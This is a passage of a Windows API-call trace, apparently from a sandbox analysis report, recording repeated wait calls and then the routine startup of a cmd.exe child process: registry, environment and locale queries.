[0286.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.235] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.235] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.235] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.235] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.235] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.235] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.235] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.235] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.236] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.236] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.236] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.236] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.236] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.236] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.236] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.236] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.237] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.237] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.237] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.237] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.237] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.237] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.237] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.237] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.238] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.238] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.238] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.238] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.238] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.238] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.238] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.238] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.239] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.239] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.239] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.239] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.239] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.239] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.239] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.239] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.240] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.240] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.240] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.240] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.240] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.240] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.240] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.240] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.241] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.241] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.241] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.241] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.242] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.242] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.242] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.242] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.242] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.242] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.242] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.242] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.243] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0286.243] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x5dc50000" os_pid = "0x530" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xff4" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 93 os_tid = 0x534 [0279.372] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7c5560000 [0279.373] __set_app_type (_Type=0x1) [0279.373] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7c5576d00) returned 0x0 [0279.373] __getmainargs (in: _Argc=0x7ff7c5599200, _Argv=0x7ff7c5599208, _Env=0x7ff7c5599210, _DoWildCard=0, _StartInfo=0x7ff7c559921c | out: _Argc=0x7ff7c5599200, _Argv=0x7ff7c5599208, _Env=0x7ff7c5599210) returned 0 [0279.373] _onexit (_Func=0x7ff7c5577fd0) returned 0x7ff7c5577fd0 [0279.373] _onexit (_Func=0x7ff7c5577fe0) returned 0x7ff7c5577fe0 [0279.373] _onexit (_Func=0x7ff7c5577ff0) returned 0x7ff7c5577ff0 [0279.374] _onexit (_Func=0x7ff7c5578000) returned 0x7ff7c5578000 [0279.375] _onexit (_Func=0x7ff7c5578010) returned 0x7ff7c5578010 [0279.375] _onexit (_Func=0x7ff7c5578020) returned 0x7ff7c5578020 [0279.375] GetCurrentThreadId () returned 0x534 [0279.375] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x534) returned 0x70 [0279.376] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b62f0000 [0279.376] GetProcAddress (hModule=0x7ff9b62f0000, lpProcName="SetThreadUILanguage") returned 0x7ff9b630a990 [0279.376] SetThreadUILanguage (LangId=0x0) returned 0x409 [0280.005] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0280.005] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x63a40ffb88 | out: phkResult=0x63a40ffb88*=0x0) returned 0x2 [0280.005] VirtualQuery (in: lpAddress=0x63a40ffb74, lpBuffer=0x63a40ffaf0, dwLength=0x30 | out: lpBuffer=0x63a40ffaf0*(BaseAddress=0x63a40ff000, AllocationBase=0x63a4000000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0280.005] VirtualQuery (in: lpAddress=0x63a4000000, lpBuffer=0x63a40ffaf0, dwLength=0x30 | out: lpBuffer=0x63a40ffaf0*(BaseAddress=0x63a4000000, AllocationBase=0x63a4000000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0280.005] VirtualQuery (in: lpAddress=0x63a4001000, lpBuffer=0x63a40ffaf0, dwLength=0x30 | out: lpBuffer=0x63a40ffaf0*(BaseAddress=0x63a4001000, AllocationBase=0x63a4000000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0280.005] VirtualQuery (in: lpAddress=0x63a4004000, lpBuffer=0x63a40ffaf0, dwLength=0x30 | out: lpBuffer=0x63a40ffaf0*(BaseAddress=0x63a4004000, AllocationBase=0x63a4000000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0280.006] VirtualQuery (in: lpAddress=0x63a4100000, lpBuffer=0x63a40ffaf0, dwLength=0x30 | out: lpBuffer=0x63a40ffaf0*(BaseAddress=0x63a4100000, AllocationBase=0x63a4100000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0280.006] GetConsoleOutputCP () returned 0x1b5 [0280.596] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c559fbb0 | out: lpCPInfo=0x7ff7c559fbb0) returned 1 [0280.596] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7c5588150, Add=1) returned 1 [0280.596] _get_osfhandle (_FileHandle=1) returned 0x214 [0280.597] GetConsoleMode (in: hConsoleHandle=0x214, lpMode=0x7ff7c559fc04 | out: lpMode=0x7ff7c559fc04) returned 0 [0280.597] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0280.597] GetConsoleMode (in: hConsoleHandle=0x1e8, lpMode=0x7ff7c559fc00 | out: lpMode=0x7ff7c559fc00) returned 0 [0280.597] _get_osfhandle (_FileHandle=1) returned 0x214 [0280.597] SetConsoleMode (hConsoleHandle=0x214, dwMode=0x0) returned 0 [0280.597] _get_osfhandle (_FileHandle=1) returned 0x214 [0280.597] GetConsoleMode (in: hConsoleHandle=0x214, lpMode=0x7ff7c559fc08 | out: lpMode=0x7ff7c559fc08) returned 0 [0280.597] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0280.597] GetConsoleMode (in: hConsoleHandle=0x1e8, lpMode=0x7ff7c559fc0c | out: lpMode=0x7ff7c559fc0c) returned 0 [0280.597] GetEnvironmentStringsW () returned 0x22692ff5a10* [0280.597] GetProcessHeap () returned 0x22692ff0000 [0280.597] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0xa7c) returned 0x22692ff64a0 [0280.597] FreeEnvironmentStringsA (penv="A") returned 1 [0280.598] GetProcessHeap () returned 0x22692ff0000 [0280.598] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x8) returned 0x22692ff6f30 [0280.598] GetEnvironmentStringsW () returned 0x22692ff5a10* [0280.598] GetProcessHeap () returned 0x22692ff0000 [0280.598] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0xa7c) returned 0x22692ff6f50 [0280.598] FreeEnvironmentStringsA (penv="A") returned 1 [0280.598] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x63a40fea38 | out: phkResult=0x63a40fea38*=0x7c) returned 0x0 [0280.598] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x0, lpData=0x63a40fea50*=0x4, lpcbData=0x63a40fea34*=0x1000) returned 0x2 [0280.598] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x4, lpData=0x63a40fea50*=0x1, lpcbData=0x63a40fea34*=0x4) returned 0x0 [0280.598] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x0, lpData=0x63a40fea50*=0x1, lpcbData=0x63a40fea34*=0x1000) returned 0x2 [0280.598] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x4, lpData=0x63a40fea50*=0x0, lpcbData=0x63a40fea34*=0x4) returned 0x0 [0280.598] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x4, lpData=0x63a40fea50*=0x40, lpcbData=0x63a40fea34*=0x4) returned 0x0 [0280.598] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x4, lpData=0x63a40fea50*=0x40, lpcbData=0x63a40fea34*=0x4) returned 0x0 [0280.598] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x0, lpData=0x63a40fea50*=0x40, lpcbData=0x63a40fea34*=0x1000) returned 0x2 [0280.598] RegCloseKey (hKey=0x7c) returned 0x0 [0280.599] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x63a40fea38 | out: phkResult=0x63a40fea38*=0x7c) returned 0x0 [0280.599] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x0, lpData=0x63a40fea50*=0x40, lpcbData=0x63a40fea34*=0x1000) returned 0x2 [0280.599] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x4, lpData=0x63a40fea50*=0x1, lpcbData=0x63a40fea34*=0x4) returned 0x0 [0280.599] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x0, lpData=0x63a40fea50*=0x1, lpcbData=0x63a40fea34*=0x1000) returned 0x2 [0280.599] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x4, lpData=0x63a40fea50*=0x0, lpcbData=0x63a40fea34*=0x4) returned 0x0 [0280.599] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x4, lpData=0x63a40fea50*=0x9, lpcbData=0x63a40fea34*=0x4) returned 0x0 [0280.599] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x4, lpData=0x63a40fea50*=0x9, lpcbData=0x63a40fea34*=0x4) returned 0x0 [0280.599] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x63a40fea30, lpData=0x63a40fea50, lpcbData=0x63a40fea34*=0x1000 | out: lpType=0x63a40fea30*=0x0, lpData=0x63a40fea50*=0x9, lpcbData=0x63a40fea34*=0x1000) returned 0x2 [0280.599] RegCloseKey (hKey=0x7c) returned 0x0 [0280.599] time (in: timer=0x0 | out: timer=0x0) returned 0x5ee23231 [0280.599] srand (_Seed=0x5ee23231) [0280.599] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0280.599] malloc (_Size=0x4000) returned 0x226932e54f0 [0280.600] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0280.600] malloc (_Size=0xffce) returned 0x226930f0080 [0280.600] ??_V@YAXPEAX@Z () returned 0x226930f0080 [0280.601] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x226930f0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0280.601] malloc (_Size=0xffce) returned 0x22693100060 [0280.602] ??_V@YAXPEAX@Z () returned 0x22693100060 [0280.602] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x22693100060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0280.603] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0280.603] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0280.603] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0280.603] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0280.603] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0280.603] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0280.603] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0280.603] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0280.603] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0280.603] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0280.603] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0280.603] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0280.603] GetProcessHeap () returned 0x22692ff0000 [0280.604] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22692ff64a0) returned 1 [0280.604] GetEnvironmentStringsW () returned 0x22692ff5a10* [0280.604] GetProcessHeap () returned 0x22692ff0000 [0280.604] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0xa94) returned 0x22692ff7a10 [0280.604] FreeEnvironmentStringsA (penv="A") returned 1 [0280.604] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0280.604] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0280.604] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0280.604] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0280.604] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0280.604] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0280.604] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0280.604] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0280.604] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0280.604] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0280.604] malloc (_Size=0xffce) returned 0x22693110040 [0280.605] ??_V@YAXPEAX@Z () returned 0x22693110040 [0280.606] GetProcessHeap () returned 0x22692ff0000 [0280.606] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x38) returned 0x22692ff84b0 [0280.606] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x22693110040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0280.607] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x22693110040, lpFilePart=0x63a40ff5b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x63a40ff5b0*="system32") returned 0x13 [0280.607] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0280.608] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x63a40ff2e0 | out: lpFindFileData=0x63a40ff2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x22692ff84f0 [0280.608] FindClose (in: hFindFile=0x22692ff84f0 | out: hFindFile=0x22692ff84f0) returned 1 [0280.608] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x63a40ff2e0 | out: lpFindFileData=0x63a40ff2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc0b701ad, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xc0b701ad, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x22692ff84f0 [0280.608] FindClose (in: hFindFile=0x22692ff84f0 | out: hFindFile=0x22692ff84f0) returned 1 [0280.608] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0280.608] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0280.608] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0280.608] GetProcessHeap () returned 0x22692ff0000 [0280.608] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22692ff7a10) returned 1 [0280.609] GetEnvironmentStringsW () returned 0x22692ff84f0* [0280.609] GetProcessHeap () returned 0x22692ff0000 [0280.609] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0xac4) returned 0x22692ff5a10 [0280.609] FreeEnvironmentStringsA (penv="=") returned 1 [0280.609] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x226930f0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0280.609] GetProcessHeap () returned 0x22692ff0000 [0280.609] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22692ff84b0) returned 1 [0280.609] ??_V@YAXPEAX@Z () returned 0x1 [0280.609] ??_V@YAXPEAX@Z () returned 0x1 [0280.609] GetProcessHeap () returned 0x22692ff0000 [0280.609] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x4016) returned 0x22692ff7a10 [0280.609] GetProcessHeap () returned 0x22692ff0000 [0280.609] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22692ff7a10) returned 1 [0280.609] GetConsoleOutputCP () returned 0x1b5 [0281.183] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c559fbb0 | out: lpCPInfo=0x7ff7c559fbb0) returned 1 [0281.183] GetUserDefaultLCID () returned 0x409 [0281.184] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7c559bb78, cchData=8 | out: lpLCData=":") returned 2 [0281.184] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x63a40ff970, cchData=128 | out: lpLCData="0") returned 2 [0281.184] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x63a40ff970, cchData=128 | out: lpLCData="0") returned 2 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x63a40ff970, cchData=128 | out: lpLCData="1") returned 2 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7c559bb68, cchData=8 | out: lpLCData="/") returned 2 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7c559bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7c559bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7c559ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7c559ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7c559ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7c559b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7c559b980, cchData=32 | out: lpLCData="Sun") returned 4 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7c559bb58, cchData=8 | out: lpLCData=".") returned 2 [0281.185] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7c559bb40, cchData=8 | out: lpLCData=",") returned 2 [0281.185] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0281.188] GetProcessHeap () returned 0x22692ff0000 [0281.188] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x0, Size=0x20c) returned 0x22692ff6550 [0281.188] GetConsoleTitleW (in: lpConsoleTitle=0x22692ff6550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0281.789] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.789] GetFileType (hFile=0x214) returned 0x3 [0281.789] 